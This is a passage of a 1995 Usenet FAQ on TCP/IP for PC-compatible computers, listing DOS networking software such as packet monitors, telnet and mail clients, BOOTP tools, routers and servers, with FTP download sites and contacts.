ftp://sun.soe.clarkson.edu/pub/packe...s/snmpsrc.zip.
Also available at ftp://enh.nist.gov/misc/snmpsrc.zip,
ftp://enh.nist.gov/misc/snmpsup.zip,
ftp://enh.nist.gov/misc/snmpsun.tar_Z

Suggestion
Fergie and Gobbler Free

Fergie is a packet monitoring and grabbing tool that supports SNMP
and supersedes Netmon, Spectre and Beholder. Tricklet is a set of SNMP
utilities.

The last release of Fergie and Gobbler occurred on August 25, 1993.
The DNPAP research group has now moved on to more current topics
(SNMP/RMON etc.), and is no longer able to fully support this software.

Fergie and Gobbler are available at
ftp://dnpap.et.tudelft.nl/pub/Fergie/frgbin2.zip.
The source code for Borland C is available at
ftp://dnpap.et.tudelft.nl/pub/Fergie/frgsrc2.zip.

To get on the Fergie mailing list, mailto:request@dnpap.et.tudelft.nl

*Suggestion
Beholder - The Next Generation (BTNG) Free

BTNG is an RMON compatible Ethernet monitor for OS/2,
SunOS and Ultrix. Tricklet is a set of SNMP utilities for
OS/2 and UNIX. To run these tools under OS/2, you will need
an Ethernet card with an NDIS driver for OS/2. Available at:
ftp://dnpap.et.tudelft.nl/pub/btng/README (Readme file)
ftp://dnpap.et.tudelft.nl/pub/btng/btng51exe.zip (OS/2 binaries)
ftp://dnpap.et.tudelft.nl/pub/btng/btng51src.zip (OS/2 source)
ftp://dnpap.et.tudelft.nl/pub/btng/btng-5.1.tar.gz (SunOS)
ftp://dnpap.et.tudelft.nl/pub/btng/BTNG.FAQ (Frequently Asked Questions)
ftp://dnpap.et.tudelft.nl/pub/btng/tricklet-6.0a.zip (OS/2 binaries)
ftp://dnpap.et.tudelft.nl/pub/btng/tricklet-5.1.tar.gz (SunOS)

Suggestion
NetProbe Free

An unsupported utility from 3Com that can decode XNS,
TCP/IP, ICMP, AppleTalk, IPX/SPX, SMB, and other protocols,
but only supports the Etherlink, Etherlink II, EtherLink
Plus and Token Plus adapters. Available on CompuServe in
the 3Com forum as EPROBE.ZIP in lib 5, unsupported utilities.

Downright Speculation
Netwatch Free

Essential network debugging tools for the PC. Available at
ftp://netlab.usu.edu/netwatch.dir/netwatch.exe.

Recommendation
Ethload v1.04 Free

This is an Ethernet load monitor and packet analyzer
that gives all kinds of useful statistics on your network,
including breakdowns by protocol (supports IP, NetWare, OSI,
DECNet, NetBEUI), source or destination, ports, etc. Very useful.

Available at ftp://oak.oakland.edu/pub/msdos/lan/ethld104.zip.
Also available at ftp://wsmr-simtel20.army.mil/&lt;msdos.lan&gt;/ethld104.zip.


Recommendation
EtherDump v1.04 Free

This is a tracing program, similar to TCPDump. However, the output
isn't quite as sophisticated or easy to read, although it certainly
is voluminous.

Available at:
ftp://oak.oakland.edu/pub/msdos/lan/ethdp104.zip
ftp://wsmr-simtel20.army.mil/&lt;msdos.lan&gt;/ethdp104.zip
ftp://ftp.cdrom.com/.2/SimTel/msdos/lan/ethdp104.zip

Downright speculation
NetAddress v1.1 Free

This program collects Ethernet addresses and various statistics,
including protocols used, IP and IPX address, AppleTalk name,
etc.

Available at:
ftp://oak.oakland.edu/pub/msdos/lan/net-ad11.zip
ftp://ftp.cdrom.com/.2/SimTel/msdos/lan/net-ad11.zip

SNMP

Suggestion
SNMPMAN

SNMPMAN is an SNMP-based network monitoring
package written by Abner Correia, Jorge Pires,
and Tiago Silva (snmpman@di.fc.ul.pt).

Information on SNMPMAN is available
via http://www.fc.ul.pt/software/snmpman.html.

Available at:
ftp://ftp.fc.ul.pt/pub/networking/snmp/snmpman.zip

SNMPMAN, Faculdade de Ciencias da Universidade de
Lisboa (Departamento de Informatica), Campo Grande-Bloco
C5, 1700 LISBOA, Portugal; voice: +351 1 7510003,
fax: +351 1 7577831.

Recommendation
NetGuardian v1.1

NetGuardian is an SNMP-based network monitoring
package written by Paulo Sergio Mena,
Ricardo Machado de Oliveira and Rui Santos Antonio,
(netguard@di.fc.ul.pt). It requires Ling Thio
and Dirk Wisse's WINSNMP.DLL.

Information on NetGuardian is available
via http://www.fc.ul.pt/software/netguard.html.

Available at:
ftp://ftp.fc.ul.pt/pub/networking/snmp/netguard.zip

NetGuardian, Faculdade de Ciencias da Universidade de
Lisboa (Departamento de Informatica), Campo Grande-Bloco
C5, 1700 LISBOA, Portugal; voice: +351 1 7510003,
fax: +351 1 7577831.

UNCLASSIFIABLE (BUT INTERESTING) STUFF

Downright speculation
GIGO Free

This has nothing to do with TCP/IP, but rather is a UUCP
packet to FidoNet .PKT translator. For info,
mailto:gigo-r@wmeonlin.sacbbx.com. Available at
ftp://ftp.netcom.com/pub/jfesler/gigo.zip

Downright speculation
X-Ray/Winsock API Trace/Debugger $169

X-Ray/Winsock is a debugger for the Windows Sockets API, which shows the
interaction between a Windows application and theWinsock API in realtime.
X-Ray displays Winsock API functions both before and after the call with
parameters, constants and flags displayed according to their "C" header
file equivalents. All "send" and "recv" data can be displayed in Hex and/or
ASCII. All pointers are checked for validity. X-Ray has a
selectable circular or fixed trace buffer with 2000 event capacity.

Applications that are X-Rayed do not need debug information such as Codeview or
modifications to the application. X-Ray can be used at the customer site,
using production versions of applications.

X-Ray has a unique floating "Details" window that displays individual trace
records. VCR style controls are used to selectively view any records currently
in the trace buffer. The trace buffer can be searched for a parameter value,
error code, or other information. Context-sensitive help is available for
all Winsock API functions.

X-Ray can trace Winsock functions occurring in multiple applications simul-
taneously. Individual applications can be selected for tracing. X-Ray has
multiple logging options, including DBWin and file.

Available via:
ftp://ftp.netcom.com/pub/sstinc/xraywi12.zip
ftp://winftp.cica.windows.edu/pub/wi...k/xraywi12.zip
ftp://ftp.cdrom.com/.5/cica/winsock/xraywi12.zip

Chuck Eaton, S.S.T.Incorporated; (818)346-2784, fax: (818)346-7070;
mailto:70233.2504@compuserve.com, mailto:sstinc@netcom.com


------------------------------ END OF PART 3 ------------------------

Please send comments to:

Bernard Aboba
Author of:
The Online User's Encyclopedia, Addison-Wesley, 1994
The PC-Internet Connection, Publisher's Group West, due in 1995
mailto:aboba@netcom.com
FTP archive: ftp://ftp.zilker.net/pub/mailcom/
WWW page: http://www.zilker.net/users/internaut/index.html



From: aboba@netcom.com (Bernard Aboba)
Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 4 of 5
Expires: Fri, 12 May 1995 00:00:00 GMT
Followup-To: poster
Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
Organization: MailCom
Reply-To: aboba@netcom.com
Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers
Approved: news-answers-request@MIT.Edu
Summary: Frequently Asked Questions (and answers) about TCP/IP on
PC-Compatible Computers

Archive-name: ibmpc-tcp-ip-faq/part4

comp.protocols.tcp-ip.ibmpc:
FAQ Posting, part 4, 4/1/95


DOS APPLICATIONS

*Suggestion
PPRD - LPD server for DOS v0.98

This turns an DOS machine to a dedicated LPD print server. It can handle
up to 3 parallel ports. Serial printers can be handled by running
LPTCOM, a TSR to divert parallel port output to a serial port.
This can run on an 8088 machine with only a floppy drive. To enhance
security, the client and server must be on the same subnet.
It is available from:
ftp://ftp.syd.dit.csiro.au/pub/ken/pprd098.zip


Suggestion
IRC client free

A client for Internet Relay Chat.

Available at ftp://ftp.utas.edu.au/pc/trumpet/irc/irc100.zip
Available at
ftp://biochemistry.bioc.cwru.edu/pub...et/irc100.zip,
ftp://biochemistry.bioc.cwru.edu/pub...et/ircabi.zip,
ftp://biochemistry.bioc.cwru.edu/pub/trumpet/irclwp.zip

P. Tattam, Programmer; Psychology Department, University of
Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
mailto:peter@psychnet.psychol.utas.edu.au

Recommendation
WAIS for DOS free

A DOS WAIS client which uses the Clarkson drivers is
available at
ftp://sunsite.unc.edu/pub/packages/i...OS/pcdist.zip.

A DOS WAIS client that requires the PC/TCP software from
FTP Software is available at
ftp://oac.hsc.uth.tmc.edu/public/dos/misc/oacwais.exe.

For information, contact: Steven E. Newton, Office of Academic
Computing, University of Texas Health Science Center, Houston,
mailto:snewton@oac.hsc.uth.tmc.edu.

There is also a Novell LAN Workplace WAIS client available at
ftp://ftp.oit.unc.edu/pub/WAIS/UNC/nov-cli-visual.zip.

Suggestion
PDCLKSET Free

Requiring a packet driver, this software sets your PC clock
via an Internet time server.It also offers several useful
network testing functions. Supports ping, and can build an arp
table of nodes on the subnet. Available at
ftp://oak.oakland.edu/pub/msdos/pkdrvr/pdclk207.zip

Suggestion
NCSA Telnet Free

Available at ftp://zaphod.ncsa.uiuc.edu/PC/Telnet/msdos/tel2307b.zip
(binaries)
ftp://zaphod.ncsa.uiuc.edu/PC/Telnet/msdos/tel2307s.zip (sources)
Also available at
ftp://wsmr-simtel20.army.mil/PD1:&lt;MSDOS.PKTDRVR&gt;/tel2307b.zip

Compatible with LocalTalk.
A PPP FAQ is available at ftp://merit.edu/pub/ppp/pppfaq


Recommendation
MS-Kermit Free

This version of Kermit supports telnet, VT320 and Tektronix
emulation, as well as SIXEL. It incorporates the WATTCP
stack, and also runns over Novell's LWP/DOS+Telapi, FTP
Inc's PC/TCP+Tnglass, Beame & Whiteside's TCP/IP stack;
DEC Pathworks, as well as over NetBIOS. It supports Int
14h as well as Int 6Bh, and can run over packet drivers.

Available at ftp://kermit.cc.columbia.edu/kermit/bin/msvibm.zip,
ftp://kermit.cc.columbia.edu/kermit/bin/msvibm.pif (Windows PIF
file for MS-DOS Kermit)

Downright speculation
PCUCP Free

This is a Windows v3.1 application that allows multiple open
text windows at the UNIX end. It is available at
ftp://winftp.cica.indiana.edu/pub/pc.../pcucp11a.zip.

Recommendation
CUTCP Telnet Free

CUTCP is the premiere DOS telnet application. Aside from
VT100, and Tektronxi emulation, CUTCP also handles 3270
emulation. The latest release has added ping and ODI
support. Now supported by Rutgers University, having
been tranferred from Clarkson University and Brad
Clements. This directory contains the source and
binary distributions, both in zip archives. For
information contact mailto:cutcp-support@ftp-ns.rutgers.edu.

Available at
ftp://ftp-ns.rutgers.edu/pub/msdos/c...nt/cutcp-b.zip
(Documentation and binaries),
ftp://ftp-ns.rutgers.edu/pub/msdos/c...nt/cutcp-s.zip
(Source, documentation, and binaries).

Downright speculation
Clarkson Archie Free

Available at ftp://omnigate.clarkson.edu/pub/cutcp/archie.zip

Suggestion
Princeton Telnet Free

The Princeton version of Telnet supports localtalk cards
and also does tn3270 access. Works on all localtalk cards
(Sitka, Daystar, Farallon, ... )

Available at ftp://pusun3.princeton.edu/pub/PU2-2TN/pu2-2tn.zip

Recommendation
Clarkson Charon IPX/TCP email and printer gateway v4.0

Charon is a gateway widely used with Pegasus mail.
Available at ftp://omnigate.clarkson.edu/pub/cutcp/charon40.zip,
ftp://sun.soe.clarkson.edu/pub/cutcp/charon.zip

Recommendation
Phone package Free

A phone dialer package for DOS that was written to run with
the UMSLIP driver. Be aware that UMSLIP does not work with PKTMUX.

Available at ftp://ftp.ncsa.uiuc.edu/pub/pc/slip/sliparc.exe,
ftp://ftp.ncsa.uiuc.edu/pub/pc/slip/phone.doc

IP ADDRESS ASSIGNMENT

Recommendation
CIRA RARP server Free

This is a RARP server that runs under DOS, and can give
out an IP address from a pool. I have run it, and it is
reliable.

Available as ftp://pine.circa.ufl.edu/pc/rarp/rarp.zip.

Recommendation
RARP client Free

This is a RARP client that can store the retrieved IP
address in a DOS environmental variable, for later
substitution into a file.

Available as ftp://pine.circa.ufl.edu/pc/rarpset.zip.

Recommendation
BOOTPQ v1.2 Free

BOOTPQ is a BOOTP client that can take an IP address
extracted via BOOTP and put it into a DOS environmental
variable.

Available as ftp://biochemistry.cwru.edu/pub/dos/bootpq12.zip

Downright Speculation
BOOTP Free

Frankly, I have never gotten this thing to work.
A bootp server available via
ftp://biochemistry.cwru.edu/pub/dos/bootp.zip or
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/bootp.zip

Recommendation
BOOTP for UNIX

What if you want to provide configuration info to PCs supporting BOOTP?
What you need is the CMU BOOTP server, available via:
ftp://lancaster.andrew.cmu.edu/pub/bootp.2.1.tar.Z

Tip for the BOOTP deprived: remember that if you setup multiple BOOTP
servers, you need to sync up the configuration information. If servers put
out conflicting BOOTP replys, then the first reply will take precedence.

*Downright Speculation
BOOTP Forwarder NLMs

Novell offers a BOOTP forwarder NLM, known as BOOTPFWD.NLM; this
relays BOOTP packets from one network to another. You can obtain
this via a NetWare 3.11 TCP/IP upgrade on NetWire, or via
ftp://ftp.novell.com.

There is also another similar NLM, known as BOOTPFD.NLM. This is
available as:
ftp://sjf-lwp.sjf.novell.com/nw311/BOOTP-relay

Recommendation
Talk v1.2 Free

A DOS Talk client running over packet drivers. Available as:
ftp://oak.oakland.edu/pub/msdos/pktdrvr/talk-12.zip

Recommendation
PC Gopher III Free

An MS-DOS client for the Gopher information server. Be aware
that you must load WINPKT.COM (or PKTMUX if you are running
multiple TCP/IP applications) to get this program to work
under Windows. The code for PC Gopher III has also been
incorporated into Minuet.

Available at ftp://boombox.micro.umn.edu/pub/goph...s/pcgopher.txt
ftp://boombox.micro.umn.edu/pub/goph...ient/00README, also:
ftp://biochemistry.cwru.edu/pub/dos/pcg3.zip,
ftp://biochemistry.cwru.edu/pub/dos/pcg3doc.zip

WINPKT is available at ftp://biochemistry.micro.umn.edu/pub...dos/winpkt.com

Downright Speculation
Uwho Free

Uwho is Stan Barber's interface to whois and ph e-mail
address servers that runs under MS-DOS. An alpha test
version is available at
ftp://punisher.caltech.edu/pub/dank/...who218b.tar.Z,
ftp://punisher.caltech.edu/pub/dank/uwho/uwho218b.zip,
or unarchived in
ftp://punisher.caltech.edu/pub/dank/uwho218b/
The archived text files are in Unix format.

Recommendation
DOS Trumpet v1.06b Shareware, $10.

Trumpet is an NNTP newsreader for DOS that can be placed on a
NetWare server, while storing news groups and configuration
files in each user's directory. It supports packet drivers,
LAN WorkPlace for DOS, and Trumpet ABI.

Available at ftp://ftp.utas.edu.au/pc/trumpet/dostrump/trmp106b.zip
Available at ftp://biochemistry.bioc.cwru.edu/pub.../trmp106b.zip,
ftp://biochemistry.bioc.cwru.edu/pub...t/newsabi.zip,
ftp://biochemistry.bioc.cwru.edu/pub...et/newslwp.zip

Contact: mailto:peter@psychnet.psychol.utas.edu.au

Multi-user site licenses

Trumpet will be charged by the total number of users who
have access to Trumpet on a network. A site is designated
as being one organization located within a radius of10 km.

The pricing structure is:

1-99 users $10 US per user
100-999 users $1000 US + $2 US per additional user above 100
1000-4999 users $2800 US + $0.20 US per additional user over 1000
5000+ $3600 US

P. Tattam, Programmer; Psychology Department, University of
Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
mailto:peter@psychnet.psychol.utas.edu.au

Downright Speculation
Broadcast Free

This is a PC client for the Macintosh Broadcast program, by Kai Getrost.

Available at ftp://caisr2.caisr.cwru.edu/pub/net/bdcst11.zip

Suggestion
DOSLynx free

This is a textual browser for WWW that requires a class 1 packet
driver, and includes its own built-in TCP/IP stack. It can call
external viewers but does not allow viewing of inline images.
It is compatible with EtherSLIP or EtherPPP, but takes up quite
a bit of memory, leaving little left over for documents on a
640K machine. Available via:
ftp://ftp2.cc.ukans.edu/pub/DosLynx/readme.txt

Suggestion
NuPOP/PC free

In addition to a POP/SMTP mail client that supports MIME, NuPOP
contains an FTP client, a Ph (phonebook) client, a Gopher client,
a news reader, a Telnet client, and an LPR (print) client.
Version of NuPOP are also available that support Wollongong
TCP kernel, WATTCP kernel, and Trumpet ABI TCP kernel.
Can be gotten to support LocalTalk via the provided LocalTalk
driver. Do not use the Clarkson drivers for this. By the way,
NuPOP also supports serial access, as well as running over TCP/IP.

Available at ftp://ftp.acns.nwu.edu/pub/nupop/nupoprea.zip (real mode executable)
ftp://ftp.acns.nwu.edu/pub/nupop/nupoppro.zip (protected mode executable)
ftp://ftp.acns.nwu.edu/pub/nupop/nupopsup.zip (additional files required)

If you want the news reading and MIME support, you must first
install the protected mode version described above, and then
install the following over it.
ftp://ftp.acns.nwu.edu/pub/nupop/nup...e/nupop210.zip
or if you get the real mode executable:
ftp://ftp.acns.nwu.edu/pub/nupop/nup...se/real210.zip

Suggestion
POPmail-PC v3.2.2

This is the package included with SLIPDISK. Supports Ethernet,
AppleTalk, and SLIP. Use the AppleTalk driver that works with NuPOP.

Available at
ftp://boombox.micro.umn.edu/pub/pc/p...m/popmail.exe,
ftp://boombox.micro.umn.edu/pub/pc/p...am/popmail.hlp

ftp://boombox.micro.umn.edu/pub/pc/p...ls/manual.asc,
ftp://boombox.micro.umn.edu/pub/pc/p...m/popmail.doc,
ftp://boombox.micro.umn.edu/pub/pc/p...am/popmail.sty

A POP3 server for VMS and MS-DOS client software is available at
ftp://logos.ucs.indiana.edu/INDEX

Recommendation
Minuet

A smorgasbord of DOS TCP/IP applications, including gopher, mail,
ftp, news, and telnet, Minuet includes code from PC Gopher III,
and POPmail. It supports multiple windows, as well as Ethernet,
AppleTalk and SLIP packet drivers. Use the AppleTalk driver
that works with NuPOP. Since Minuet does so much, and does
it well, you may not want to use anything else, unless you
don't have enough RAM for it.

Available at ftp://boombox.micro.umn.edu/pub/pc/minuet/minuarc.exe

Suggestion
PC-Pine v3.88 Free

This is a PC-compatible version of Pine, running under DOS.
There are versions written for FTP Software's PC/TCP, Novell's
Lan WorkPlace for DOS, and WATTCP.

Available at ftp://ftp.cac.washington.edu/mail/pcpine_p.zip
(WATTCP version),
ftp://ftp.cac.washington.edu/mail/pcpine_n.zip (Novell LWP),
ftp://ftp.cac.washington.edu/mail/pcpine_f.zip (FTP PC/TCP)

Note that PC Pine relys on the Interactive Mail Access Protocol
(IMAP2) rather than POP. You must have an IMAP server installed
in order to use it. IMAPd is available at
ftp://ftp.cac.washington.edu/mail/imap.tar.Z

For a listing of other IMAP-compatible clients, get
ftp://ftp.cac.washington.edu/mail/imap.software.

Downright speculation
Ph client

University of Illinois CCSO name server client.

Available at ftp://uxc.cso.uiuc.edu/net/ph/dos/pcph.com,
ftp://uxc.cso.uiuc.edu/net/ph/dos/pcph.README

Downright Speculation
FTPNuz $10/shareware

Gene Mangum's shareware newsreader for DOS, which requires FTP
Software's PC/TCP kernel. Runs under MS-DOS, as well as in a
DOS window under MS Windows and OS/2. Features include support
for NNTP,pull-down menus, reading and posting of news, reply
by mail via SMTP.

Available at ftp://calvin.sfasu.edu/pub/dos/netwo...p/ftpnuz10.zip

Gene Mangum; mailto:h198@hosp.med.umich.edu

NFS

Downright speculation
NFS Client
Business users $20 (Shareware)
Home or Ed. use $15 (Shareware)

This a shareware NFS client by Mike Durkin. The shareware fee includes the
right to a year's worth of free upgrades. All TCP/IP stack versions of it
are available under one license. Site license discounts start at 20 machines.
I have tried this, and it works well. The latest version includes a built-in
packet multiplexer in the WATTCP version. Other features include the ability
support for remote printing using pcnfsd or bwnfsd.

Available at:
ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/bugs.lst
(Known and recently fixed bugs list)
ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs025-m.zip
ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs025-m.zip
(MS-DOS NFS client for Microsoft Lan Manager)
ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257n.zip
ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs0257n.zip
(MS-DOS NFS client for Novell LAN WorkPlace)
ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257t.zip
ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257t.zip
(MS-DOS NFS client for Trumpet TCPDRV)
ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257w.zip
ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs0257w.zip (WATTCP MS-DOS NFS client)

Mike Durkin, mailto:mdurkin@wiretap.spies.com

*Downright speculation
XFS and XFS-32 Shareware
Educational license $15
Commercial $25

This is another NFS client implementation for MS-DOS, by Robert Juhasz
(mailto:robertj@lwfws1.uni-paderborn.de). It runs over packet drivers and
includes a built-in PKTDRVR multiplexer so you can run other software
concurrently. It is also possible run this under WFW using DIS_PKT, or
Novell Netware using ODIPKT.

XFS32 is a version for those running WFW and Microsoft TCP/IP-32.
A UNIX pcsnfsd is recommended, but not required. This version requires
TCP/IP-32 because the current Winsock API definition (v1.1) doesn't support
some of the functionality that an NFS client needs.

There are site license discounts. Requires a 286. Available as:
ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/xfs186.zip
The 32-bit version is available as:
ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/xfs32-11.zip
ftp://lwfws1.uni-paderborn.de/pub/xfs

Xlink Technology, Inc.; 1546 Centre Pointe Dr., Milpitas, CA 95035,
fax: (408)263-8203, mailto:info@xlink.com

ROUTERS AND BRIDGES

Recommendation
KA9Q
Educational Use Free
Commercial Use $50

KA9Q includes routing and packet filtering capabilities, along
with a variety of other client and server capabilities. See
the listing under Servers.

Suggestion
PCRoute v2.24 Free

This package can convert a PC into a TCP/IP router. It doesn't
require more than 1 Mb of memory, and works fine on an 8088,
although faster machines are recommended. This is a fast and
reliable router and recommended for routing between Ethernets.

Available at ftp://ftp.acns.nwu.edu/pub/pcroute/readme.1st (Readme file)
ftp://ftp.acns.nwu.edu/pub/pcroute/readme.pcroute.doc (PCRoute documentation)
ftp://ftp.acns.nwu.edu/pub/pcroute/pcroute2.24.tar.Z (executables)
ftp://ftp.acns.nwu.edu/pub/pcroute/p...2.24.src.tar.Z (source code)

Vance Morrison, LANport, Inc.; 2040 Polk Street #340,
San Francisco, CA 94109; (415)775-0188, mailto:lanport@cup.portal.com

Suggestion
PCBridge v2.77 Free

Originally by Vance Morrison of Northwestern, PCBridge has been taken
over by Alessandro Fanelli and Luigi Rizzo. The latest version of
PCBridge is now ROMable. The
software is available at ftp://pical3.iet.unipi.it/pub/bridge/bdg277.tar.Z

Alessandro Fanelli, Luigi Rizzo (mailto:luigi@iet.unipi.it),
Universita di Pisa - via Diotisalvi 2, 56126 Pisa, Italy ;
+39-50-568533, fax: +39-50-568522

Downright Speculation
Drawbridge v2.0 (now in alpha test)

Drawbridge is a bridging filter for the 386 that requires two ethernet cards.
It is comprised of three programs: Filter, Filter Compiler and Filter Manager.

It is available at
ftp://net.tamu.edu/pub/security/TAMU...e-2.0a.tar.gz,
ftp://net.tamu.edu/pub/security/TAMU/drawbridge.README,

Downright Speculation
KarlBridge v1.41

This software, which uses WATTCP, provides a two port
Ethernet to Ethernet bridge that can filter based on any
Ethernet protocol, including IP, XNS, DECNET, LAT,
EtherTalk, NetBEUI, Novell IPX, etc. It will also
act as an IP firewall by filtering IP packets based on
IP address/network/subnet combinations and socket numbers.
It can also filter DECNET and AppleTalk Phase 1 & 2 packets.
It now supports SNMP queries for remote management. Novell
SAP and NCR WaveLAN filtering are coming in a future release.

Available at ftp://128.146.1.7/pub/kbridge/kbridge141.zip
For information: http://www.gbnet.net/kbridge/
gopher://gopher.gbnet.net/KarlBridge/
mailto:sales@gbnet.com (UK/Europe)
mailto:sales@KarlNet.com (US/elsewhere)


DOS SERVERS

Recommendation
KA9Q
Educational Use Free
Commercial Use $50

There are several versions of KA9Q, each with different
capabilities. The current most capable versions are the
ones put together by the folks at Demon Internet Services
(DIS) in the UK, and the version put out by Ashok Aiyar at
CWRU. CWRU Version 1.0b is based on the N1BEE 0.85-beta
which in turn is based on PA0GRI 2.0m NOS, and includes
support for NTP, CSO, Gopher, FTP, and SMTP/POP2/POP3
servers, plus VT102 and packet filtering support. Base
code is by Ashok Aiyar, ashok@biochemistry.cwru.edu.
The Textwin version from DIS does not include Gopher
support, but does support Domain Name Service and
can act as an NNTP server.

KA9Q can route TCP/IP packets over X.25, Ethernet,
LocalTalk (with a special version), and serial lines
(via SLIP/CSLIP/PPP). It supports connection to 56
Kbps leased lines via a CSU/DSU and an SCC card, and
supports up to 4 serial ports per machine. This means
you can purchase a 56 Kbps Internet link, then divide it
among 4 users, bringing the cost way down. KA9Q is a
useful tool for sysops looking to hook their systems
to the Internet, regardless of what kind of computer
the BBS runs on.

Available as:
ftp://biochemistry.cwru.edu/pub/nos/nos11c.exe,
ftp://biochemistry.cwru.edu/pub/nos/nos11c.txt,
ftp://biochemistry.cwru.edu/pub/nos/nos11c.map,
ftp://biochemistry.cwru.edu/pub/nos/nos192.txt,
ftp://biochemistry.cwru.edu/pub/nos/nos_1229.man,
ftp://biochemistry.cwru.edu/pub/nos/vt102.zip,
ftp://biochemistry.cwru.edu/pub/nos/filter.txt,
ftp://biochemistry.cwru.edu/pub/nos/autoexec.nos

Alternative sites:
ftp://ucsd.edu/hamradio/packet/tcpip/ka9q
ftp://boombox.micro.umn.edu/pub/gopher/PC_server/ka9q

A Macintosh port (NetMac) is available at
ftp://sumex-aim.stanford.edu/info-mac/comm/

Textwin (multiwindowing version with mouse support) package
is available in three versions: large, small and tiny. The
tiny package includes support for NNTP, SMTP and POP servers;
the small version adds support for FTP servers; and the
large version adds packet filtering, RIP and DNS support, and
is the version that I tested the config files with.
Available as:
ftp://ftp.demon.co.uk/pub/ibmpc/textwin.

Contact: mailto:amc@beryl.demon.co.uk, mailto:amccarthy@cix.compulink.co.uk,
mailto:100012.3712@compuserve.com

Phil Karn, KA9Q; 7431 Teasdale Ave, San Diego, CA 92122;
(619)587-8281, fax: (619)587-1825

Recommendation
SLIPLOG and SLIPKIT

SLIPLOG is a small (&lt;6K) TSR that adds login and remote control features to
any SLIP packet driver, allowing you to use KA9Q as a dialin SLIP server.
All the programd you need are included in the SLIPKIT distribution, including
the latest NOS version, CSLIPPER, PKTMUX, the NDIS3PKT.386 chim, WINPKT,
SLIPLOG, COMTOOL, GETNEWS, KA9Q docs, and a manual. Assembly language source
is also included.

Features include:
Cold booting on errors; login authentication, with time and date
logging; can send a message file after connection,
as well as the SLIP IP address; support for call-backs; on-demand
dial; remote sysop capability; can run in DOS Virtual Machine
under windows; can handle multiple lines on one machine.

Available via:
http://mvmpc9.ciw.uni-karlsruhe.de/
ftp://mvmpc9.ciw.uni-karlsruhe.de/go...c/nos/sliplog/
ftp://biochemistry.cwru.edu/gopher/pub/nos/
http://inorganic5.chem.ufl.edu/
ftp://inorganic5.chem.ufl.edu/gopher.../slip/sliplog/
If you have trouble accessing this with the ws-ftp client,
set your servertype to ka9q.

Karl-Heinz Weiss, University of Karlsruhe, (49)721-608-2418,
(49)7244-1792, mailto:khweis@mvmpc9.ciw.uni-karlsruhe.de

Downright Speculation
NOSView v3.04

Written by Ian Wade, G3NRW, NOSView is online documentation
for KA9Q, which describes all the NOS commands. It also
contains a complete set of templates for use of KA9Q.

Available at ftp://ucsd.edu/hamradio/packet/tcpip...w/nosvw304.zip

Contact: Ian Wade, mailto:ian@g3nrw.demon.co.uk

Downright Speculation
Stan's Own Server Free

SOS is based on the now-outdated PC-IP, and as a result
is not used much anymore. However, there is no other
publicly distributable NFS server package out there,
so if you need one, you might as well try this.
Available at ftp://sun.soe.clarkson.edu/pub/packet-drivers/soss.zoo,
sossread.me. Also available at ftp://spdcc.com/pub/sos/soss.zoo,
ftp://spdcc.com/pub/sos/sossexe.zoo

A version with a couple of bugs fixed is available at
ftp://hilbert.wharton.upenn.edu/pub/tcpip/soss.zip

For info, contact: Richard Bruan, mailto:rbraun@spdcc.com, or Seemong Tan,
mailto:stan@cs.uiuc.edu.

Downright Speculation
Hellsoft BOOTP and FTPD NLMs

Available via ftp://novell.felk.cvut.cs/pub/nw311/ftpd,
ftp://novell.felk.cvut.cs/pub/nw311/bootpd/
ftp://novell.felk.cvut.cs/pub/nw311/resolv/

Downright Speculation
Gopher NLM

Available via:
ftp://kmat1.fjfi.cvut.dz/pub/gopherd/
ftp://ftp.pol.lublin.pl/sys/pub/pc/novell/gopherd/

Downright Speculation
LPD Free
FTP and BOOTP server included

This software is a freeware line printer daemon as
well as an FTP and BOOTP server. Available via
ftp://tacky.cs.olemiss.edu/pub/lpd/lpd.zip,
ftp://tacky.cs.olemiss.edu/pub/lpd/lpdsrc.zip

Recommendation
TELNETD Free

TELNETD is a simple, free and unsupported TELNET
server for PCs, by Erick Engelke. It works on top
of packet drivers and lets you run most DOS software.
However, it doesn't do everything; if you want a
commercial-quality implementation, get Everywhere Access.

Available at ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/telnetd.zip

Recommendation
COMD Free

COMD by Erick Engelke allows you to share serial port
devices, including printers and modems with another
TCP/IP connected computer.

Available at ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/comd.zip

Downright Speculation
SMTP server free

An SMTP server for DOS. Available at:
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/smtpserv.zip




------------------------------ END OF PART 4 ------------------------

Please send comments to:

Bernard Aboba
Author of:
The Online User's Encyclopedia, Addison-Wesley, 1994
The PC-Internet Connection, Publisher's Group West, due in 1995
mailto:aboba@netcom.com
FTP archive: ftp://ftp.zilker.net/pub/mailcom/
WWW page: http://www.zilker.net/users/internaut/index.html




From: aboba@netcom.com (Bernard Aboba)
Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 5 of 5
Expires: Fri, 12 May 1995 00:00:00 GMT
Followup-To: poster
Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
Organization: MailCom
Reply-To: aboba@netcom.com
Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers
Approved: news-answers-request@MIT.Edu
Summary: Frequently Asked Questions (and answers) about TCP/IP on
PC-Compatible Computers

Archive-name: ibmpc-tcp-ip-faq/part5

comp.protocols.tcp-ip.ibmpc:
FAQ Posting, part 5, 4/1/95

COMMERCIAL PRODUCTS

